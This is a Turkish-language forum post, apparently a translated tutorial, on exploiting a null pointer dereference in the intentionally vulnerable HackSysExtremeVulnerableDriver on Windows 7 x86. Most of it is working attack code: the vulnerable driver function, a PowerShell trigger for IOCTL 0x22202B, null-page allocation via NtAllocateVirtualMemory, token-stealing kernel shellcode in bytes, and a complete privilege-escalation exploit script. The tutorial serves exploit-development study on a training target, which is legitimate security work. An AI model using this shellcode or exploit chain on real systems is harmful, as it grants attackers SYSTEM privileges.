Windows Exploit Geliştirme Serisi #12 | Kernel Exploitation -> Null Pointer Dereference

Provido

Katılımcı Üye
21 Eki 2015
477
1
Bölüm 12 : Kernel Exploitation -> Null Pointer Dereference


Merhaba ve Windows exploit geliştirme öğretici serisinin 12. bölümüne tekrar hoş geldiniz.
Bugün, @HackSysTeam'in aşırı savunmasız sürücüsündeki boş işaretçi başvurusundan yararlanma üzerine başka bir hızlı ateş gönderimiz var. Hata ayıklama ortamını kurma hakkında daha fazla ayrıntı için 10uncu. bölüme bakın. Hadi başlayalım!


Kaynaklar:

+ HackSysExtremeVulnerableDriver (hacksysteam) - buradan
+ EMET - buradan
+ Small Hax to av0id crashing ur prog - buradan


MEYDAN OKUMAYI KEŞFET


Söz konusu savunmasız işlevin bir kısmına bir göz atalım.



Kod:
NTSTATUS TriggerNullPointerDereference(IN P**** UserBuffer) {
    ULONG UserValue = 0;
    ULONG MagicValue = 0xBAD0B0B0;
    NTSTATUS Status = STATUS_SUCCESS;
    PNULL_POINTER_DEREFERENCE NullPointerDereference = NULL;
 
    PAGED_CODE();
 
    __try {
        // Verify if the buffer resides in user mode
        ProbeForRead(UserBuffer,
                     sizeof(NULL_POINTER_DEREFERENCE),
                     (ULONG)__alignof(NULL_POINTER_DEREFERENCE));
 
        // Allocate Pool chunk
        NullPointerDereference = (PNULL_POINTER_DEREFERENCE)
                                  ExAllocatePoolWithTag(NonPagedPool,
                                                        sizeof(NULL_POINTER_DEREFERENCE),
                                                        (ULONG)POOL_TAG);
 
        if (!NullPointerDereference) {
            // Unable to allocate Pool chunk
            DbgPrint("[-] Unable to allocate Pool chunk\n");
 
            Status = STATUS_NO_MEMORY;
            return Status;
        }
        else {
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
            DbgPrint("[+] Pool Size: 0x%X\n", sizeof(NULL_POINTER_DEREFERENCE));
            DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);
        }
 
        // Get the value from user mode
        UserValue = *(PULONG)UserBuffer;
 
        DbgPrint("[+] UserValue: 0x%p\n", UserValue);
        DbgPrint("[+] NullPointerDereference: 0x%p\n", NullPointerDereference);
 
        // Validate the magic value
        if (UserValue == MagicValue) {
            NullPointerDereference->Value = UserValue;
            NullPointerDereference->Callback = &NullPointerDereferenceObjectCallback;
 
            DbgPrint("[+] NullPointerDereference->Value: 0x%p\n", NullPointerDereference->Value);
            DbgPrint("[+] NullPointerDereference->Callback: 0x%p\n", NullPointerDereference->Callback);
        }
        else {
            DbgPrint("[+] Freeing NullPointerDereference Object\n");
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);
 
            // Free the allocated Pool chunk
            ExFreePoolWithTag((P****)NullPointerDereference, (ULONG)POOL_TAG);
 
            // Set to NULL to a**** dangling pointer
            NullPointerDereference = NULL;
        }
 
#ifdef SECURE
        // Secure Note: This is secure because the developer is checking if
        // 'NullPointerDereference' is not NULL before calling the callback function
        if (NullPointerDereference) {
            NullPointerDereference->Callback();
        }
#else
        DbgPrint("[+] Triggering Null Pointer Dereference\n");
 
        // Vulnerability Note: This is a vanilla Null Pointer Dereference vulnerability
        // because the developer is not validating if 'NullPointerDereference' is NULL
        // before calling the callback function
        NullPointerDereference->Callback();
#endif
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }
 
    return Status;
}



https://github.com/hacksysteam/Hack...master/Driver/Source/NullPointerDereference.c
Tamam, öyleyse sihirli bir değer üzerinde bir kontrolümüz var, başarılı olursa değeri ve geri arama işlevini yazdırıyoruz (bu normal yürütme akışıdır). Kontrol başarısız olursa, havuz etiketini serbest bırakır ve işaretçiyi boşa çıkarırız. Şimdiye kadar herhangi bir sorun yok ancak daha sonra savunmasız sürümde sürücü daha önce boş bırakılıp bırakılmadığını kontrol etmeden geri arama işlevini çağırıyor!

Bu işlev için IOCTL 0x22202B'dir. IOCTL'nin nasıl tanımlanabileceğini görmek için lütfen bu serinin 10. ve 11. kısımlarına bakın. Hızlı bir şekilde IDA'ya atlayalım ve işleve bir göz atalım.



x1h5AH.png




Öyleyse, teoride, TriggerNullPointerDereference fonksiyonunu çağırırsak ve sihirli değeri iletirsek, işlevi beklenen bir şekilde çalıştırmalı ve boş işaretçi ayrışmasını tetiklememeliyiz. Bunu aşağıdaki POC ile test edebiliriz.



Kod:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
  
public static class EVD
{
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);
  
    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        byte[] OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);
  
    [DllImport("kernel32.dll")]
    public static extern uint GetLastError();
}
"@
  
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite,
[System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
  
if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}
 
$Buffer = [System.BitConverter]::GetBytes(0xbad0b0b0)
echo "`n[>] Sending buffer.."
echo "[+] Buffer length: $($Buffer.Length)"
echo "[+] IOCTL: 0x22202B`n"
[EVD]::DeviceIoControl($hDevice, 0x22202B, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero)
|Out-null


x1hBvR.png




Kusursuz. Çarpışma yok, istisna tetiklenmedi. Sihirli değer eşleşmezse, geri çağırma işlevi işaretçisinin boş olduğu bir bloğa gireriz.



x1hGCN.png




Bu işlemden sonra, boş işaretçi özümlemesinin tetiklendiği bir sonraki komut bloğuna atlarız.



x1hmsP.png




Tamam, bu görüşmeyi keselim ve teorimizi doğrulayalım! Tek yapmamız gereken, sürücüye karşılaştırmada başarısız olacak sihirli bir değer iletmektir (ör: 0xdeadb33f)



x1hmsP.png




Beklendiği gibi, boş işaretçi çözümlemesini tetikliyoruz. Yukarıdaki C ++ kodundan, burada çalışan bir sürücü istisna işleyicisi olduğunu fark etmiş olabilirsiniz. Bu güzel çünkü kutuyu BSOD'ye sokmayın!



HER ŞEYİ YAP!


NtAllocateVirtualMemory


Buradaki tek gerçek numara, bir dword'ün 0x00000004'te nasıl tahsis edileceğidir. Bu, en eğlenceli ve aydınlatıcı, rohitab yazısına hızlı bir şekilde bakmanızı şiddetle tavsiye ederim.



x1hlCM.jpg




Linux'tan farklı olarak, Windows düşük öncelikli kullanıcıların boş sayfayı kullanıcı süreci bağlamında eşleştirmesine izin verir. Bu işlevsellik, ayırmanın temel adresi 0x00001000'den küçükse, hem VirtualAlloc hem de VirtualAllocEx'in geri dönüş erişiminin reddedilmesi anlamında biraz belirsizdir. Ancak, belgelenmemiş NtAllocateVirtualMemory işlevi için böyle bir kısıtlama uygulanmaz. Bunu göstermek için aşağıdaki kod kullanılabilir.



Kod:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
  
public static class EVD
{
    [DllImport("ntdll.dll")]
    public static extern uint NtAllocateVirtualMemory(
        IntPtr ProcessHandle,
        ref IntPtr BaseAddress,
        uint ZeroBits,
        ref UInt32 Al********Size,
        UInt32 Al********Type,
        UInt32 Protect);
}
"@
  
echo "`n[>] Allocating process null page.."
[IntPtr]$ProcHandle = (Get-Process -Id ([System.Diagnostics.Process]::GetCurrentProcess().Id)).Handle
[IntPtr]$BaseAddress = 0x1 # Rounded down to 0x00000000
[UInt32]$Al********Size = 2048 # 2kb, seems like a nice number
$CallResult = [EVD]::NtAllocateVirtualMemory($ProcHandle, [ref]$BaseAddress, 0, [ref]$Al********Size, 0x3000, 0x40)
if ($CallResult -ne 0) {
    echo "[!] Failed to allocate null-page..`n"
    Return
} else {
    echo "[+] Success"
}



Yukarıdaki gönderi biraz saçma görünse de yazar istemeden iyi bir noktaya işaret ediyor. Boş sayfanın önceden tahsis edilmesi, boş işaretçi dereference güvenlik açıklarından yararlanılmasını engeller (EMET bunu yapar) ..


ShellCode(Kabuk Kodu)

Bir önceki gönderi için oluşturduğumuz token'ı çalan shellcode'u yeniden kullanabiliriz. Bu sefer başka bir işlev çağrısını ele geçirdiğimiz için herhangi bir değişikliğe gerek yok.



Kod:
$Shellcode = [Byte[]] @(
    #---[Setup]
    0x60,                               # pushad
    0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET]
    0x8B, 0x40, 0x50,                   # mov eax, [eax + EPROCESS_OFFSET]
    0x89, 0xC1,                         # mov ecx, eax (Current _EPROCESS structure)
    0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET]
    #---[Copy System PID token]
    0xBA, 0x04, 0x00, 0x00, 0x00,       # mov edx, 4 (SYSTEM PID)
    0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-|
    0x2D, 0xB8, 0x00, 0x00, 0x00,       # sub eax, FLINK_OFFSET           |
    0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx     |
    0x75, 0xED,                         # jnz                           ->|
    0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET]
    0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx
    #---[Recover]
    0x61,                               # popad
    0xC3                                # ret
)



Kurulum


İstismarımızın genel kurulumunu açıklığa kavuşturmak için: (1) shellcode'umuzu belleğe bir yere koyacağız, (2) programın boş sayfasına bellek ayıracağız, (3) shellcode'umuzun adresini [IntPtr] 0x00000004'e yazacağız ve ( 4) boş işaretçi sapmasını tetikler.


OYUN BİTTİ


Bu, tüm geçiş süreci olmalıdır, daha fazla bilgi için lütfen aşağıdaki tüm açıklara bakın.



Kod:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
 
public static class EVD
{
    [DllImport("ntdll.dll")]
    public static extern uint NtAllocateVirtualMemory(
        IntPtr ProcessHandle,
        ref IntPtr BaseAddress,
        uint ZeroBits,
        ref UInt32 Al********Size,
        UInt32 Al********Type,
        UInt32 Protect);
 
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr VirtualAlloc(
        IntPtr lpAddress,
        uint dwSize,
        UInt32 flAl********Type,
        UInt32 flProtect);
 
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);
 
    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        byte[] OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);
 
    [DllImport("kernel32.dll")]
    public static extern uint GetLastError();
}
"@
 
# Compiled with Keystone-Engine
# Hardcoded offsets for Win7 x86 SP1
$Shellcode = [Byte[]] @(
    #---[Setup]
    0x60,                               # pushad
    0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET]
    0x8B, 0x40, 0x50,                   # mov eax, [eax + EPROCESS_OFFSET]
    0x89, 0xC1,                         # mov ecx, eax (Current _EPROCESS structure)
    0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET]
    #---[Copy System PID token]
    0xBA, 0x04, 0x00, 0x00, 0x00,       # mov edx, 4 (SYSTEM PID)
    0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-|
    0x2D, 0xB8, 0x00, 0x00, 0x00,       # sub eax, FLINK_OFFSET           |
    0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx     |
    0x75, 0xED,                         # jnz                           ->|
    0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET]
    0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx
    #---[Recover]
    0x61,                               # popad
    0xC3                                # ret
)
 
# Write shellcode to memory
echo "`n[>] Allocating ring0 payload.."
[IntPtr]$Pointer = [EVD]::VirtualAlloc([System.IntPtr]::Zero, $Shellcode.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $Pointer, $Shellcode.Length)
$ShellcodePointer = [System.BitConverter]::GetBytes($Pointer.ToInt32())
echo "[+] Payload size: $($Shellcode.Length)"
echo "[+] Payload address: 0x$("{0:X8}" -f $Pointer.ToInt32())"
 
# Allocate null-page
#---
# NtAllocateVirtualMemory must be used as VirtualAlloc
# will refuse a base address smaller than [IntPtr]0x1000
#---
echo "`n[>] Allocating process null page.."
[IntPtr]$ProcHandle = (Get-Process -Id ([System.Diagnostics.Process]::GetCurrentProcess().Id)).Handle
[IntPtr]$BaseAddress = 0x1 # Rounded down to 0x00000000
[UInt32]$Al********Size = 2048 # 2kb, seems like a nice number
$CallResult = [EVD]::NtAllocateVirtualMemory($ProcHandle, [ref]$BaseAddress, 0, [ref]$Al********Size, 0x3000, 0x40)
if ($CallResult -ne 0) {
    echo "[!] Failed to allocate null-page..`n"
    Return
} else {
    echo "[+] Success"
}
echo "[+] Writing shellcode pointer to 0x00000004"
[System.Runtime.InteropServices.Marshal]::Copy($ShellcodePointer, 0, [IntPtr]0x4, $ShellcodePointer.Length)
 
# Get handle to driver
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
 
if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}
 
#---
# To trigger the null-pointer dereference all we need to do
# is pass the compare at HackSysExtremeVulnerableDriver+0x4b61.
# As long as our magic value is not 0xbad0b0b0, we're good!
#---
$Buffer = [System.BitConverter]::GetBytes(0xdeadb33f) # Whatever value here..
echo "`n[>] Sending buffer.."
echo "[+] Buffer length: $($Buffer.Length)"
echo "[+] IOCTL: 0x22202B`n"
[EVD]::DeviceIoControl($hDevice, 0x22202B, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null



x1iDaU.png




 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.